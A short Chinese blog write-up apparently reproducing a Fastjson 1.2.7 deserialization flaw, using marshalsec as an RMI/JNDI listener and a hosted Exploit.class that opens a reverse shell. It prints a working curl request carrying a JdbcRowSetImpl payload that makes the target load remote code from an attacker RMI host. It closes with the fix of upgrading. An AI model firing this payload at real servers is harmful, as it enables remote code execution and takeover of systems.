Fastjson反序列化RMI漏洞利用记录

漏洞背景

关于 fastjson 最近几年爆出的反序列问题比较多,各种绕过。护网期间,据说也爆出了新的姿势,目前还无完整分析,这里记录之前漏洞版本 RMI 监听方式进行反序列化利用,之后利用方式类同。

本次漏洞记录的 Fastjson 版本是 1.2.7。

漏洞复现

起初利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类来构造 Poc,要求开发使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)这种形式解析,大部分情形下都是只传入 input 参数,而不考虑其他设置,于是这种方式条件苛刻,无法利用。

网上还有很多其他的利用方式,基于JNDI Property 类型,基于 JNDI Field 类型。这里使用第二种, RMI + JNDI Reference Payload 方式,攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类。

由于 Exploit.class 写的是 反弹shell 的命令,去监听端口

使用 marshalsec 启动 RMI 监听服务,通过在 攻击机器 web 服务放置 Exploit.class, 靶机通过 RMI 客户端远程调用

客户端提交恶意请求如下:

1
curl -ivv http://xxx.com/queryNotice -H 'Content-type: application/json' -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://host:1099/Exploit","autocommit":"true"}'

可监听到shell

漏洞修复

升级到Fastjson最新版本

-------------本文结束感谢您的阅读-------------
坚持原创技术分享,您的支持将鼓励我继续创作!